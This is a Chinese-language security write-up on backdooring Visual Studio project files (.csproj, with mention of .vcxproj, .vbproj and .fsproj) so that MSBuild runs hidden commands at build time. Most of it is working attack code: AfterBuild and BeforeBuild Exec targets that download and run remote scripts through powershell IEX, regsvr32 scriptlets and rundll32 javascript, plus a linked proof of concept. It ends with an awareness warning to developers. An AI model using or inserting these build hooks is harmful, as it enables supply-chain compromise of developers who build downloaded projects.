本文源于一次大膽的嘗試:
對github上某一知名的C#工程作細微改動并推薦用戶下載,用戶在毫不知情的情況下往往會在查看源代碼后選擇編譯文件,然而在編譯的過程中,會隱蔽執行代碼,獲得用戶的主機權限,細極思恐。演示如下:
MSBuild是 Microsoft Build Engine 的縮寫,代表 Microsoft 和 Visual Studio 的新的生成平臺
MSBuild可在未安裝Visual Studio的環境中編譯.net的工程文件
#!xml
<?xml version="1.0" encoding="utf-8" ?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PrintCurrentDateTime">
<Message Text="The current date and time is: $([System.DateTime]::Now)." />
</Target>
</Project>
保存為test.csproj
cmd下執行:
#!shell
C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe test.csproj
在cmd下會輸出顯示當前時間,如圖
#!c
using System;
class Test
{
static void Main()
{
Console.WriteLine("Hello world");
}
}
保存為hello.cs
#!xml
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Compile">
<CSC Sources="hello.cs" OutputAssembly="hello.exe" />
</Target>
</Project>
保存為hello.csproj
hello.cs和hello.csproj放于同一目錄
cmd下執行:
#!shell
C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe hello.csproj
可以編譯生成hello.exe
在Visual Studio下新建一個c#工程,查看目錄下的.csproj文件,格式如下:
#!xml
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{11E01039-C952-4D78-A2E5-426B51788B7F}</ProjectGuid>
<OutputType>Exe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>ConsoleApplication3</RootNamespace>
<AssemblyName>ConsoleApplication3</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
需要先了解以下基礎知識:
項目文件的最外層元素,它表示了一個項目的范圍。如果缺少了這一元素,MSBuild會報錯稱Target元素無法識別或不被支持。
Project元素擁有多個屬性,其中最常用到的是DefaultTargets屬性。我們都知道,在一個項目的生成過程中可能需要完成幾項不同的任務(比如編譯、單元測試、check-in到源代碼控制服務器中等),其中每一項任務都可以用Target來表示。對于擁有多個Target的項目,你可以通過設置Project的DefaultTargets(注意是復數)屬性來指定需要運行哪(幾)個Target,如果沒有這個設置,MSBuild將只運行排在最前面的那個Target
在項目中你肯定需要經常訪問一些信息,例如需要創建的路徑名、最終生成的程序集名稱等。以name/value的形式添加進Property,隨后就可以以$(PropertyName)的形式訪問
在整個項目文件中你肯定要提供一些可被引用的輸入性資源(inputs)信息,比如源代碼文件、引用的程序集名稱、需要嵌入的圖標資源等。它們應該被放在Item里,以便隨時引用
Target表示一個需要完成的虛擬的任務單元。每個Project可以包括一個或多個Target,從而完成一系列定制的任務。你需要給每個Target設置一個Name屬性(同一Project下的兩個Target不能擁有同樣的Name)以便引用和區別
可執行的部分,可以在Target下面放置多個Task來順序地執行相應的任務
部分元素定義引用+參考自http://www.cnblogs.com/shanyou/p/3452938.html
由https://msdn.microsoft.com/en-us/library/7z253716.aspx可獲得詳細Task類的用法介紹,其中幾個特別的類值得注意:
結合以上的基礎知識,我們不難理解默認.csproj文件包含的信息,而在.csproj文件尾部存在一個特別的說明:
#!xml
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
那么,我們能否通過修改此處來操作VS編譯文件的過程呢?
對于原始文檔,首先去掉<--
和-->
的標記
添加代碼如下:
#!xml
<Target Name="AfterBuild">
<Exec Command="calc.exe"/>
</Target>
成功彈出計算器,build的過程卡住,手動結束calc進程,編譯成功,如圖:
解決方法:
解決calc進程死鎖,可以通過powershell的start process異步調用來執行calc.exe
腳本內容為
#!shell
start-process calc.exe
上傳至github
使用powershell來下載執行
.csproj文件修改為:
#!xml
<Target Name="AfterBuild">
<Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc.ps1');"/>
</Target>
執行如圖:
添加代碼如下:
#!xml
<Target Name="AfterBuild">
<Exec Command="regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"/>
</Target>
使用regsvr32會在控制臺輸出報錯提示權限不夠,但依然可以成功執行命令,如圖
使用rundll32
#!xml
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
兩個""
中間無法再使用"
,所以要用"
來替代"
優化的代碼如下:
#!xml
<Target Name="AfterBuild">
<Exec Command="rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")"/>
</Target>
成功彈出計算器,但無法成功編譯文件,手動結束rundll32進程,編譯成功,提示rundll32調用錯誤
解決方法:
寫臨時js文件,再運行,代碼如下:
#!xml
<Target Name="BeforeBuild">
<Exec Command="echo GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")>1.js"/>
</Target>
<Target Name="AfterBuild">
<Exec Command="1.js"/>
</Target>
演示略
任意一個c#工程,只要編輯.csproj文件,即可實現在編譯過程中執行任意命令。 正如本文開始的演示圖,絕大部分人從github上下載代碼后,會選擇直接編譯,即使部分人會注意代碼細節,也常常會忽略.csproj文件,并且通過Visual Studio 的操作面板無法獲取添加的后門代碼。
如果別有用心的人在公開項目的.csproj文件添加了后門代碼,后果將不堪設想。希望本文能引起大家對此細節的注意,尤其是開發人員,編譯工程前尤其要記得查看.**proj文件的細節。亡羊而補牢,未為遲也。
Poc地址:
https://github.com/3gstudent/p0wnedShell-DarkVersion
使用Visual Studio中的其他語言也同樣可以插入后門:
Visual C++:
- 修改.vcxproj文件
Visual Basic:
- 修改.vbproj文件
Visual F#:
- 修改.fsproj文件